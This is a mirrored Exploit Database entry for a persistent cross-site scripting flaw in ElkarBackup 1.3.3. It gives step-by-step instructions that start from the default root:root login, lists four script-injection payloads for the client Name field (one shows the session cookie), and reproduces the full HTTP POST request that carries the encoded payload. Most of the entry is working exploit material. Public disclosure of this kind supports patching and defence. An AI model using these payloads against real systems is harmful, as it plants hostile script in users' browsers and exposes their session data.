ElkarBackup 1.3.3 – Persistent Cross-Site Scripting

• Exploit Database
• 112 阅读

• 作者： Enes Özeser
  日期： 2020-08-20
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/48756/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41

  # Exploit Title: ElkarBackup 1.3.3 - Persistent Cross-Site Scripting # Date: 2020-08-14 # Exploit Author: Enes Özeser # Vendor Homepage: https://www.elkarbackup.org/ # Version: 1.3.3 # Tested on: Linux   1- Go to following url. >> http://(HOST)/elkarbackup/login 2- Default username and password is root:root. We must know login credentials. 3- Go to "Jobs" and press "Add client" button. 4- Write XSS payload in "Name" section. 5- Press "Save" button.   (( Executable XSS Payloads ))   1- "><script>alert(&apos;XSS Confirmed!&apos;);</script> 2- "><script>alert("XSS Confirmed!");</script> 3- "><script>alert(document.cookie);</script> 4- "><script>alert(document.domain);</script>     (( REQUEST ))   POST /elkarbackup/client/2 HTTP/1.1 Host: (HOST) User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://(HOST)/elkarbackup/client/2 Content-Type: application/x-www-form-urlencoded Content-Length: 358 Connection: close Cookie: PHPSESSID=dop3m1qj8c5octaxuasd21as2 Upgrade-Insecure-Requests: 1   Client%5Bname%5D=%22%3E%3Cscript%3Ealert%28%22XSS+Confirmed%21%22%29%3C%2Fscript%3E& Client%5Burl%5D=&Client%5Bquota%5D=-1&Client%5Bdescription%5D=&Client%5BisActive%5D=1& Client%5BmaxParallelJobs%5D=1&Client%5Bowner%5D=1&Client%5BsshArgs%5D=&Client%5BrsyncShortArgs%5D=& Client%5BrsyncLongArgs%5D=&Client%5B_token%5D=yrL8pXqx-sTVYhLQBpL523I-BOnSqoRyZnd5MUt2bfI